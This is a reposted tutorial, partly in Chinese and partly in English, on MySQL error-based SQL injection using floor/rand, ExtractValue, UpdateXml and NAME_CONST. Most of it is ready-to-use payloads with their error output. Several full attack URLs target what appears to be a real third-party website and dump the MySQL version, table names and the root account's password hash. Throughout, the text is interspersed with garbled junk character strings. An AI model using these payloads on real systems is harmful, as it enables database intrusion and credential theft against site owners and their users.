mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

admin

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下：
首先进行正常查询：

mysql> select * from article where id = 1;
  Y& Y6 |8 Y- t' p6 o& Z% B+—-+——-+———+
| id | title | content |
' e3 m# P1 O% P* b0 Q+—-+——-+———+
|  1 | test  | do it   |
+—-+——-+———+

假如id输入存在注入的话，可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
1 r; P9 ]% {2 w* vERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));
6 k7 _/ v2 N* N, D! kERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue
测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
) E% n3 H. _% e6 `# FERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

4 F4 U. j( I( W9 R4 |3 N* F

再收集：

http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)
1 o4 O" R$ I0 E0 E1 j) _
: |( T* K- Z( E' ^Erroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’

& P, M, [) W; h7 P2 F# Hhttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)
; K2 U7 Z# v' V- ^/ D0 r% _4 P
, j  z0 b4 _1 Y: l- N% L  \9 [Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′

MYSQL高版本报错注入技巧-利用NAME_CONST注入
6 N) J2 O$ d/ O$ f+ }" zIt's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.


相关信息

NAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.

Code:
NAME_CONST(DATA, VALUE)
$ k1 v( w1 i+ n$ t/ ?) c( u+ c
- Q. [. m; r6 i+ pReturns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.

SELECT NAME_CONST('TEST', 1)
9 h; V; P+ v0 ?
: T+ C) y: V6 g+ C$ v; K0 _5 X
4 C( t! G: k+ c+ i: o6 [$ g
' n' u# k9 s# S! K* R& p|---------------|
|     TEST      |
|               |
|---------------|
, c8 C! c0 S1 \|       1       |
|               |
2 ?: g1 u8 C0 V  T|---------------|

, l: h1 |% E! I8 E: T/ k, S: K
0 `0 [1 J% s9 q1 i; K4 D9 X  S

http://dev.mysql.com/doc/refman/5.0/en/m...name-const
Intro to MySQL Variables

( K0 z3 a. `! N1 X3 wOnce you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.
+ }- @& t/ T# m4 G9 Z
: a1 v# \4 E! i; Z! cCode:
http://www.baido.hk/qcwh/content ... ;sid=19&cid=261
8 S; y7 a  b7 |; t0 K# }, J


# w! U  [. [; A; T; O6 }& R* X
/ `- b; e7 }( M2 J. p+ O4 |7 l+ |
- u+ y1 r5 \: q/ s7 R! BCode:
8 |+ w# f) u3 V! rand+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--

4 Q$ h3 ]8 Q  C3 B
& I, s  o( m! g( G6 _1 \VAR = Your MySQL variable.

3 e* C; i- i# i0 y! YMySQL 5.1.3 Server System Variables
$ S4 `" O* O7 ]8 v- e5 A" H
Let's try it out on my site..

$ M1 ]" m, `8 i8 ]Code:
# e) ^( ]+ d9 V! a  @http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--

: S9 v8 `" {" uErroruplicate column name '5.0.27-community-nt'

  d9 Q% ]5 G, \
6 I0 s6 g: Z% |


0 z% r, J8 ~1 C2 k! T2 ?Now I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...

3 Q0 _7 u7 W# GData Extraction

! k/ |6 ~1 r1 Q6 K6 s/ sCode:
: p- E) u% h! {, Q. K% e+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--
% M$ j& g  e0 B3 |3 |

5 V9 _3 c/ ]4 ?7 S0 N* ~7 C3 S: ^We should get a duplicate column 1 error...
8 W+ ]& t6 F- D$ ~4 W
2 J# r$ \5 I2 `! U- C0 KCode:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--
4 u, X( H  S+ s, B1 k; R) L5 |1 l
$ [6 H! a) E9 k% Q, wErroruplicate column name '1



3 L: c. X- l! m% i6 K" [
; o+ o" w& C# p2 Z- F) k) t

Now let's get the tables out this bitch..
4 `) l. e3 f1 J( U. X
0 F9 }/ }: z  T: y: nCode:
, D* S1 n1 K7 A% t9 V# w/ g7 P1 B+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
+ S$ v" [$ R3 i! w1 g0 k# ^

* v* |7 j3 r/ E7 |; {. jLet's see if it works here, if it does, we can go on and finish the job.

& W, u; q; ]% L3 v) P1 F1 @! NCode:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
0 k! c0 K7 J1 \. I+ }6 ]# @

Erroruplicate column name 'com_admanage
& s, u  l& Q  }) \# s( u


/ \( `; j3 m7 Y. Y( W9 V, f+ `
& @  l: C" d3 h5 g. B1 i7 e

; R) t4 U/ d2 ?7 w6 |! _0 L: MNow I'm going to be lazy and use mysql.user as an example, just for the sake of time.

+ h; C* q$ o9 X) c9 {Let's get the columns out of the user table..
; s- ~' Z: d4 J7 @! U; n3 U. r4 d
1 E" u! V# M% K7 O$ pCode:
+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--


So mine looks like this, and I get the duplicate column name 'Host'.
3 Z8 T) j9 {3 u9 A
* O9 A9 ?  G! \2 y8 q* {Code:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--

Erroruplicate column name 'Host'
4 W: D: k) Q: F6 ?% P! a

! ]4 N- @8 P9 g! m! v% [6 X



Woot, time to finish this bitch off.
* G/ F" N% h; _9 e9 P, A
: r( U1 N& V) h; s5 jCode:
+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--


So mine looks like this...
3 \3 t& V! q6 c) K2 ~6 y5 k
, h: U( V! h$ m9 w1 L* c6 oCode:
: o3 {  r# l- Dhttp://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--
5 H# Z  T0 L2 z# a& S) F
8 ^# a  K! c2 c4 Y/ OErroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'

: N# G+ X9 I& n2 y: s. c5 ~

0 _" L2 r, ~+ h1 m! b  F( Z


And there we have it, thanks for reading.
4 ]8 J( g: x! b4 W2 N